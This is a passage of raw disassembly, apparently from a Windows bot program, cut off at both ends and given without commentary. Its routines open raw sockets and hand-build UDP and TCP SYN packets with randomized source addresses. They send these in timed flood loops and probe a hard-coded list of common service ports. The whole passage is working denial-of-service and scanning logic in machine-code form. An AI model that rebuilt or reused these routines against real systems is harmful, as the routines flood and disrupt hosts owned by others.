[ebp+var_28], 0 mov word ptr [ebp+var_30], ax mov ax, [ebp+var_3A] push 14h mov [ebp+var_72], ax lea eax, [ebp+var_54] push eax mov byte ptr [ebp+var_30+2], 18h mov [ebp+var_2C], 787Dh mov [ebp+var_74], 2 mov [ebp+var_70], edi call sub_415135 and [ebp+var_A0], 0 pop ecx pop ecx mov [ebp+var_46], ax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], edi mov [ebp+var_9F], 6 call dword_42820C ; ntohs mov [ebp+var_9E], ax lea eax, [ebp+var_9C] push 14h push eax lea eax, [ebp+var_3C] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_88] push ebx push eax lea eax, [ebp+var_24] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_A8] push 598h push eax call sub_415135 add esp, 20h mov [ebp+var_2A], ax lea eax, [ebp+var_74] push 10h push eax push 0 push esi lea eax, [ebp+var_54] push eax push [ebp+var_8] call dword_4CE36C ; sendto inc [ebp+var_4] jmp loc_415297 ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_41523E+71j push [ebp+var_8] call dword_4CE3A0 ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41523E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415478 proc near ; DATA XREF: sub_401AA1+4BD2o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_4154EE push eax lea eax, [ebp+var_414] push offset unk_439EE0 push eax call sub_41BEF6 add esp, 220h lea eax, [ebp+var_414] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push 0 call dword_4280D4 ; ExitThread sub_415478 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154EE proc near ; CODE XREF: sub_415478+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_41552C lea eax, [ebp+var_254] push offset unk_43A0D8 push eax call sub_41BEF6 pop ecx xor edi, edi pop ecx jmp loc_4157F2 ; --------------------------------------------------------------------------- loc_41552C: ; CODE XREF: sub_4154EE+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_415558 call dword_4CE29C ; WSAGetLastError push eax push offset unk_43A088 jmp short loc_415573 ; --------------------------------------------------------------------------- loc_415558: ; CODE XREF: sub_4154EE+5Aj lea eax, [ebp+arg_4] push eax call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_415587 call dword_4CE29C ; WSAGetLastError push eax push offset unk_43A040 loc_415573: ; CODE XREF: sub_4154EE+68j lea eax, [ebp+var_254] push eax call sub_41BEF6 add esp, 0Ch jmp loc_4157F2 ; --------------------------------------------------------------------------- loc_415587: ; CODE XREF: sub_4154EE+77j push edi mov [ebp+var_24], 2 call dword_4CE308 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_428208 ; inet_addr mov esi, dword_4280B0 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_43A014 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_4155F0 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409743 add esp, 14h loc_4155F0: ; CODE XREF: sub_4154EE+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41BDE9 cmp esi, eax pop ecx ja loc_4157A9 mov esi, 41Ch jmp short loc_415624 ; --------------------------------------------------------------------------- loc_41561F: ; CODE XREF: sub_4154EE+2B5j mov ebx, 0FFh loc_415624: ; CODE XREF: sub_4154EE+12Fj cmp dword_4D1A8C, edi jnz short loc_41567C push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4CE2AC ; getsockname push ebx push 1 call sub_418D19 push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41BEF6 add esp, 20h jmp short loc_41568C ; --------------------------------------------------------------------------- loc_41567C: ; CODE XREF: sub_4154EE+13Cj lea eax, [ebp+var_54] push offset dword_4D1470 push eax call sub_41C520 pop ecx pop ecx loc_41568C: ; CODE XREF: sub_4154EE+18Cj push esi mov byte_4D1670, 45h call dword_4CE308 ; ntohs mov word_4D1672, ax lea eax, [ebp+var_54] push eax mov word_4D1674, 1 mov word_4D1676, di mov byte_4D1678, 80h mov byte_4D1679, 11h mov word_4D167A, di call dword_4CE348 ; inet_addr mov dword_4D167C, eax mov eax, [ebp+var_20] mov dword_4D1680, eax lea eax, [ebp+arg_84] push eax mov word_4D168A, di call sub_41BDE9 test eax, eax pop ecx jnz short loc_415704 call sub_41BF52 cdq mov ecx, 401h idiv ecx push edx jmp short loc_415712 ; --------------------------------------------------------------------------- loc_415704: ; CODE XREF: sub_4154EE+204j lea eax, [ebp+arg_84] push eax call sub_41BDE9 pop ecx push eax loc_415712: ; CODE XREF: sub_4154EE+214j call dword_4CE308 ; ntohs mov word_4D1686, ax call sub_41BF52 cdq mov ecx, 401h push 408h idiv ecx mov word_4D1684, dx call dword_4CE308 ; ntohs push 400h mov word_4D1688, ax call sub_41BF52 cdq idiv ebx push edx push offset dword_4D168C call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4D1670 push [ebp+var_C] call dword_4CE36C ; sendto cmp eax, 0FFFFFFFFh jz loc_415821 inc [ebp+var_4] call dword_4280B0 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41BDE9 cmp ebx, eax pop ecx jbe loc_41561F loc_4157A9: ; CODE XREF: sub_4154EE+124j push [ebp+var_C] call dword_4CE3A0 ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41BDE9 mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_439FB0 push eax call sub_41BEF6 add esp, 1Ch loc_4157F2: ; CODE XREF: sub_4154EE+39j ; sub_4154EE+94j ... cmp [ebp+arg_20C], edi jnz short loc_41581A push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409743 add esp, 14h loc_41581A: ; CODE XREF: sub_4154EE+30Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415821: ; CODE XREF: sub_4154EE+289j push [ebp+var_4] push esi call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_439F20 push eax call sub_41BEF6 add esp, 18h jmp short loc_4157F2 sub_4154EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415846 proc near ; DATA XREF: sub_401AA1+6243o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41BDE9 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_41BDE9 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CE348 ; inet_addr push eax call sub_4159E0 push eax lea eax, [ebp+var_414] push offset unk_43A104 push eax call sub_41BEF6 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4158D8 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409743 add esp, 14h loc_4158D8: ; CODE XREF: sub_415846+70j lea eax, [ebp+var_414] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_415846 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4158F7 proc near ; CODE XREF: sub_4159E0+184p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_415920 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428210 ; connect jmp loc_4159DC ; --------------------------------------------------------------------------- loc_415920: ; CODE XREF: sub_4158F7+13j mov esi, [ebp+arg_0] lea eax, [ebp+var_8] xor edi, edi push eax inc edi push 8004667Eh push esi mov [ebp+var_8], edi call dword_4281F8 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CE2B0 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CE2F0 ; select test eax, eax jnz short loc_415984 or eax, 0FFFFFFFFh jmp short loc_4159DC ; --------------------------------------------------------------------------- loc_415984: ; CODE XREF: sub_4158F7+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41598F loc_41598B: ; CODE XREF: sub_4158F7+B8j ; sub_4158F7+DCj mov eax, edi jmp short loc_4159DC ; --------------------------------------------------------------------------- loc_41598F: ; CODE XREF: sub_4158F7+92j lea eax, [ebp+var_10C] push eax push esi call sub_426E00 ; __WSAFDIsSet test eax, eax jnz short loc_4159B1 lea eax, [ebp+var_210] push eax push esi call sub_426E00 ; __WSAFDIsSet test eax, eax jz short loc_41598B loc_4159B1: ; CODE XREF: sub_4158F7+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4281E0 ; getsockopt cmp eax, edi jz short loc_41598B mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4159DC: ; CODE XREF: sub_4158F7+24j ; sub_4158F7+8Bj ... pop edi pop esi leave retn sub_4158F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159E0 proc near ; CODE XREF: sub_415846+51p var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = byte ptr -0FCh var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h xor eax, eax push ebx push esi inc eax push edi xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 mov [ebp+var_10], eax pop esi push esi push 2 call dword_4281DC ; WSASocketA lea ecx, [ebp+var_10] push 4 push ecx push 2 push ebx push eax mov dword_4D1AF0, eax call dword_4CE2E8 ; setsockopt call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx xor eax, eax push 19h lea edi, [ebp+var_FC] pop ecx mov [ebp+var_108], ebx mov [ebp+var_78], ecx mov [ebp+var_104], ebx mov [ebp+var_100], ebx mov [ebp+var_18], esi mov [ebp+var_88], 401h mov [ebp+var_84], 15h mov [ebp+var_80], 16h mov [ebp+var_7C], 17h mov [ebp+var_74], 35h mov [ebp+var_70], 50h mov [ebp+var_6C], 51h mov [ebp+var_68], 58h mov [ebp+var_64], 6Eh mov [ebp+var_60], 71h mov [ebp+var_5C], 77h mov [ebp+var_58], 87h mov [ebp+var_54], 89h mov [ebp+var_50], 8Bh mov [ebp+var_4C], 8Fh mov [ebp+var_48], 1BBh mov [ebp+var_44], 1BDh mov [ebp+var_40], 400h mov [ebp+var_3C], 599h mov [ebp+var_38], 5DCh mov [ebp+var_34], 6B8h mov [ebp+var_30], 0CEAh mov [ebp+var_2C], 0D3Dh mov [ebp+var_28], 1388h mov [ebp+var_24], 1A0Bh mov [ebp+var_20], 1F40h mov [ebp+var_1C], 1F90h mov [ebp+var_C], ebx rep stosd mov [ebp+var_14], 0BB8h xor esi, esi loc_415B1E: ; CODE XREF: sub_4159E0+1ACj mov eax, [ebp+arg_0] lea edi, [ebp+esi+var_88] mov [ebp+var_94], eax mov [ebp+var_98], 2 mov ax, [edi] push eax call dword_4CE308 ; ntohs push ebx push 1 push 2 mov [ebp+var_96], ax call dword_4CE388 ; socket lea ecx, [ebp+var_18] mov [ebp+var_8], eax push ecx lea ecx, [ebp+var_98] push 10h push ecx push eax call sub_4158F7 add esp, 10h mov [ebp+var_4], eax push [ebp+var_8] call dword_4CE3A0 ; closesocket cmp [ebp+var_4], ebx jnz short loc_415B86 mov eax, [edi] mov [ebp+esi+var_108], eax loc_415B86: ; CODE XREF: sub_4159E0+19Bj add esi, 4 cmp esi, 70h jl short loc_415B1E mov esi, offset dword_4D1AF8 push offset asc_42F5E8 ; " " push esi call sub_41BEF6 mov edi, dword_4280B0 pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_8], eax mov [ebp+var_4], ebx loc_415BAE: ; CODE XREF: sub_4159E0+225j call edi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415C07 mov eax, [ebp+var_4] mov eax, [ebp+eax*4+var_108] cmp eax, ebx jz short loc_415BE4 push eax push esi push offset aSD ; "%s%d " push esi mov [ebp+var_C], eax call sub_41BEF6 add esp, 10h jmp short loc_415BFE ; --------------------------------------------------------------------------- loc_415BE4: ; CODE XREF: sub_4159E0+1EDj push 0FFFFh push ebx call sub_418D19 pop ecx pop ecx push eax call dword_4CE308 ; ntohs movzx eax, ax mov [ebp+var_C], eax loc_415BFE: ; CODE XREF: sub_4159E0+202j inc [ebp+var_4] cmp [ebp+var_4], 1Ch jl short loc_415BAE loc_415C07: ; CODE XREF: sub_4159E0+1DFj ; sub_4159E0+45Ej push 28h push ebx push offset byte_4D1A94 call sub_41BC00 mov esi, 0FFFFh mov byte_4D1A94, 45h push esi push 400h mov byte_4D1A9D, 6 mov byte_4D1A95, 8 call sub_418D19 add esp, 14h push eax call dword_4CE308 ; ntohs push 28h mov word_4D1A98, ax call dword_4CE308 ; ntohs or byte_4D1A9C, 0FFh cmp dword_4D1A8C, ebx mov word_4D1A96, ax mov word_4D1A9A, bx jnz short loc_415C87 push 0FFFEh push 1 call sub_418D19 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_415C92 ; --------------------------------------------------------------------------- loc_415C87: ; CODE XREF: sub_4159E0+28Bj push offset dword_4D1470 call dword_4CE348 ; inet_addr loc_415C92: ; CODE XREF: sub_4159E0+2A5j mov dword_4D1AA0, eax mov eax, [ebp+arg_0] push 4000h mov dword_4D1AA4, eax mov byte_4D1AB5, bl call dword_4CE308 ; ntohs push esi push ebx mov word_4D1AB6, ax call sub_418D19 mov edi, eax push esi push ebx shl edi, 8 call sub_418D19 add esp, 10h add edi, eax push edi call dword_4CE304 ; ntohl mov dword_4D1AAC, eax mov al, byte_4D1AB4 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4D1AB4, al mov ax, word ptr [ebp+var_C] mov dword_4D1AB0, ebx mov word_4D1ABA, bx mov word_4D1AAA, ax mov dword_4D1AD0, edi mov byte_4D1AD4, bl mov byte_4D1AD5, 6 call dword_4CE308 ; ntohs mov word_4D1AD6, ax mov ax, word_4D1AAA mov word_4D1ABC, 2 mov dword_4D1AC0, edi mov word_4D1ABE, ax mov [ebp+var_4], ebx jmp short loc_415D48 ; --------------------------------------------------------------------------- loc_415D43: ; CODE XREF: sub_4159E0+438j mov esi, 0FFFFh loc_415D48: ; CODE XREF: sub_4159E0+361j cmp [ebp+var_4], ebx push esi push ebx jnz short loc_415D7C call sub_418D19 pop ecx pop ecx push eax call dword_4CE308 ; ntohs mov word_4D1AA8, ax mov eax, dword_4D1AA0 mov dword_4D1ACC, eax mov byte_4D1AB5, 2 mov dword_4D1AB0, ebx jmp short loc_415D99 ; --------------------------------------------------------------------------- loc_415D7C: ; CODE XREF: sub_4159E0+36Dj mov byte_4D1AB5, 10h call sub_418D19 pop ecx pop ecx push eax call dword_4CE308 ; ntohs movzx eax, ax mov dword_4D1AB0, eax loc_415D99: ; CODE XREF: sub_4159E0+39Aj inc word_4D1A98 inc dword_4D1AAC mov ax, word_4D1AAA push 5 pop ecx mov esi, offset word_4D1AA8 mov edi, offset dword_4D1AD8 mov word_4D1A9E, bx mov word_4D1AB8, bx push 14h rep movsd mov esi, offset byte_4D1A94 mov word_4D1ABE, ax push esi call sub_40A92E push 20h push offset dword_4D1ACC mov word_4D1A9E, ax call sub_40A92E add esp, 10h mov word_4D1AB8, ax push 10h push offset word_4D1ABC push ebx push 28h push esi push dword_4D1AF0 call dword_4CE36C ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415D43 call dword_4280B0 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415E43 push [ebp+arg_8] call dword_428080 ; Sleep jmp loc_415C07 ; --------------------------------------------------------------------------- loc_415E43: ; CODE XREF: sub_4159E0+453j pop edi pop esi mov eax, offset dword_4D1AF8 pop ebx leave retn sub_4159E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E4D proc near ; CODE XREF: sub_401AA1+7072p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4404C8 mov edi, 0B8h loc_415E61: ; CODE XREF: sub_415E4D+33j cmp byte ptr [esi], 0 jz short loc_415E84 push [ebp+arg_0] push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_415E84 inc [ebp+var_4] add esi, edi cmp esi, offset dword_441048 jl short loc_415E61 jmp short loc_415EC6 ; --------------------------------------------------------------------------- loc_415E84: ; CODE XREF: sub_415E4D+17j ; sub_415E4D+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_4404C8[esi] push ebx call sub_41BC00 push 17h push [ebp+arg_0] push ebx call sub_41BC60 push 9Fh lea eax, dword_4404E0[esi] push [ebp+arg_4] push eax call sub_41BC60 add esp, 24h inc dword_42AE00 pop ebx loc_415EC6: ; CODE XREF: sub_415E4D+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415E4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ECD proc near ; CODE XREF: sub_401AA1+2857p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_43A14C push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h xor edi, edi mov esi, offset dword_4404C8 loc_415EF7: ; CODE XREF: sub_415ECD+72j cmp byte ptr [esi], 0 jz short loc_415F32 lea eax, [esi+18h] push eax push esi push edi push offset dword_43A138 lea eax, [ebp+var_200] push 200h push eax call sub_41BFF0 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 2Ch loc_415F32: ; CODE XREF: sub_415ECD+2Dj add esi, 0B8h inc edi cmp esi, offset dword_441048 jl short loc_415EF7 pop edi pop esi leave retn sub_415ECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F45 proc near ; CODE XREF: sub_40121E+372p ; sub_40121E+3F3p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_428144 ; GetLocalTime mov ebx, offset dword_4D5EF8 mov edi, 80h mov esi, offset dword_4D1EF8 loc_415F67: ; CODE XREF: sub_415F45+3Dj cmp byte ptr [ebx], 0 jz short loc_415F7E push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BC60 add esp, 0Ch loc_415F7E: ; CODE XREF: sub_415F45+25j sub ebx, edi cmp ebx, esi jge short loc_415F67 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41BFF0 add esp, 28h pop edi pop esi pop ebx leave retn sub_415F45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FB9 proc near ; CODE XREF: sub_4017BF+F7p ; sub_401AA1:loc_408896p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C800 lea eax, [ebp+var_80] push eax call sub_415F45 add esp, 14h leave retn sub_415FB9 endp ; =============== S U B R O U T I N E ======================================= sub_415FE5 proc near ; CODE XREF: sub_401AA1+274Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D1EF8 xor ecx, ecx loc_415FEC: ; CODE XREF: sub_415FE5+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D5EF8 jl short loc_415FEC cmp [esp+arg_C], ecx jnz short loc_41601A push ecx push [esp+4+arg_8] push offset dword_43A198 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409743 add esp, 14h loc_41601A: ; CODE XREF: sub_415FE5+19j push offset dword_43A184 call sub_415F45 pop ecx retn sub_415FE5 endp ; =============== S U B R O U T I N E ======================================= sub_416026 proc near ; CODE XREF: .XPack0:0040E0F2p arg_0 = dword ptr 4 push esi mov esi, offset dword_4D1EF8 loc_41602C: ; CODE XREF: sub_416026+27j cmp byte ptr [esi], 0 jz short loc_416041 push [esp+4+arg_0] push esi call sub_418713 pop ecx test eax, eax pop ecx jnz short loc_416053 loc_416041: ; CODE XREF: sub_416026+9j add esi, 80h cmp esi, offset dword_4D5EF8 jl short loc_41602C xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_416053: ; CODE XREF: sub_416026+19j xor eax, eax pop esi inc eax retn sub_416026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416058 proc near ; DATA XREF: sub_401AA1+2802o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_4160AB push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_43A1F4 push eax push [ebp+var_11C] call sub_409743 add esp, 14h loc_4160AB: ; CODE XREF: sub_416058+33j cmp [ebp+var_98], 0 jz short loc_4160CB lea eax, [ebp+var_98] push eax call sub_41BDE9 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_4160CB mov [ebp+var_8], eax loc_4160CB: ; CODE XREF: sub_416058+5Aj ; sub_416058+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4D1EF8 loc_4160D4: ; CODE XREF: sub_416058+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_41612E cmp byte ptr [esi], 0 jz short loc_41611D cmp [ebp+var_98], 0 jz short loc_416103 cmp [ebp+var_4], 0 jnz short loc_416103 lea eax, [ebp+var_98] push eax push esi call sub_418713 pop ecx test eax, eax pop ecx jz short loc_41611D loc_416103: ; CODE XREF: sub_416058+90j ; sub_416058+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_409743 add esp, 14h loc_41611D: ; CODE XREF: sub_416058+87j ; sub_416058+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4D5EF8 jl short loc_4160D4 loc_41612E: ; CODE XREF: sub_416058+82j lea eax, [ebp+var_31C] push offset dword_43A1C4 push eax call sub_41BEF6 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_416168 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_409743 add esp, 14h loc_416168: ; CODE XREF: sub_416058+EEj lea eax, [ebp+var_31C] push eax call sub_415F45 push [ebp+var_18] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_416058 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416187 proc near ; CODE XREF: sub_41620D+33p ; sub_416770+BCp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CE388 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_416203 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CE308 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CE348 ; inet_addr cmp eax, esi jnz short loc_4161E8 push [ebp+arg_0] call dword_4CE38C ; gethostbyname test eax, eax jz short loc_416203 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4161E8: ; CODE XREF: sub_416187+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CE2B0 ; connect cmp eax, esi jnz short loc_416207 push edi call dword_4CE3A0 ; closesocket loc_416203: ; CODE XREF: sub_416187+1Bj ; sub_416187+58j mov eax, esi jmp short loc_416209 ; --------------------------------------------------------------------------- loc_416207: ; CODE XREF: sub_416187+73j mov eax, edi loc_416209: ; CODE XREF: sub_416187+7Ej pop edi pop esi leave retn sub_416187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41620D proc near ; DATA XREF: sub_401AA1+9CAo var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = 